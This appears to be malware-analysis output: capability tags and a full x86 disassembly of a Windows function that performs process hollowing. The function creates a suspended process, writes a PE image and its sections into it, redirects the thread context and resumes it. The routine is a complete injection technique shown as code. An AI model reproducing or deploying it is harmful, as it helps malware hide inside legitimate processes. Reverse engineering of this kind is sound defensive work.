Function at 0x406cd8
Capabilities:
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffec4
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00402544
xor eax, eax
push ebp
push 0x406f00
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x70]
xor ecx, ecx
mov edx, 0x44
call fcn.00401948
mov dword [ebp - 0x70], 0x44
mov dword [ebp - 0x44], 1
mov word [ebp - 0x40], 5
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x70]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00402554
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x406eea
mov byte [ebp - 5], 0
xor edx, edx
push ebp
push 0x406ee3
push dword fs:[edx]
mov dword fs:[edx], esp
mov dword [ebp - 0x13c], 0x10002
lea eax, [ebp - 0x13c]
push eax
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_GetThreadContext
test eax, eax
je 0x406ea7
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x98]
add eax, 8
push eax
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x406ea7
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x2c]
push eax
call fcn.00403288
test eax, eax
jl 0x406ea7
test esi, esi
je 0x406ea7
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x14], eax
push 4
push 0x3000
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x406ea7
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x54]
push eax
push esi
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x406ea7
mov eax, dword [ebp - 0x14]
call fcn.0040327c
mov edi, eax
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 6]
dec eax
test eax, eax
jb 0x406e5e
inc eax
mov dword [ebp - 0x1c], eax
xor ebx, ebx
lea edx, [ebp - 0x18]
push edx
lea eax, [ebx + ebx*4]
mov edx, dword [edi + eax*8 + 0x10]
push edx
mov edx, dword [edi + eax*8 + 0x14]
add edx, esi
push edx
mov eax, dword [edi + eax*8 + 0xc]
add eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_WriteProcessMemory
inc ebx
dec dword [ebp - 0x1c]
jne 0x406e34
lea eax, [ebp - 0x18]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x98]
add eax, 8
push eax
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x406ea7
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x13c]
push eax
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_SetThreadContext
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406eea
cmp byte [ebp - 5], 0
jne 0x406ec7
push 0
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_TerminateProcess
jmp 0x406ed0
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_ResumeThread
mov eax, dword [ebp - 0x2c]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406f07
lea eax, [ebp - 4]
call fcn.004021b8
ret